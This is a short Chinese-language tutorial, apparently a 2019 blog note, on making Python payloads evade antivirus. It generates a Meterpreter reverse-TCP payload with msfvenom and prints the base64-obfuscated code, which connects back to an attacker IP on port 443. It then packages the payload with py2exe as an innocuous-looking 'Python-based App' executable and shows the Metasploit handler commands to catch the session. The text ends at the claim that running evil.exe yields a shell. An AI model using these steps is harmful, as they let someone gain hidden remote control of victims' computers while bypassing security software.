如何使用Python進行Payload免殺

  • 2019 年 11 月 25 日
  • 筆記

很多滲透工具都提供了許可權維持的能力,如Metasploit、Empire和Cobalt Strike,但是都會被防病毒軟體檢測到惡意行為。在探討一個許可權維持技巧的時候,似乎越來越多的人關注的是,這個方式會不會被被殺軟殺掉?

打造免殺的payload成了一個很重要的話題,在這裡,本文將介紹如何使用Pyhton輕鬆繞過防病毒軟體。

0x01 環境準備

1、軟體安裝

Python 2.7.16 x86:https://www.python.org/ftp/python/2.7.16/python-2.7.16.msiPy2exe 32位:https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download

2、msfvenom生成Python Payload

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.28.128 LPORT=443 -f raw -o /var/www/html/evil.py

evil.py 程式碼如下:

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjguMTI4Jyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))

0x02 py2exe 打包Python程式

將evil.py複製到windows,同時創建一個setup.py文件:

from distutils.core import setupimport py2exesetup(name = 'Meter',description = 'Python-based App',version = '1.0',console=['evil.py'],options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}},zipfile = None,)

下面的方法運行 evil.py,生成可執行文件。

python ./setup.py py2exe

0x03 設置監聽埠

Kali 運行Metasploit,設置監聽:

msfconsoleuse exploit/multi/handlerset PAYLOAD python/meterpreter/reverse_tcpset LHOST 192.168.28.128set LPORT 443run

在Windows中運行evil.exe,獲得一個meterpreter的會話: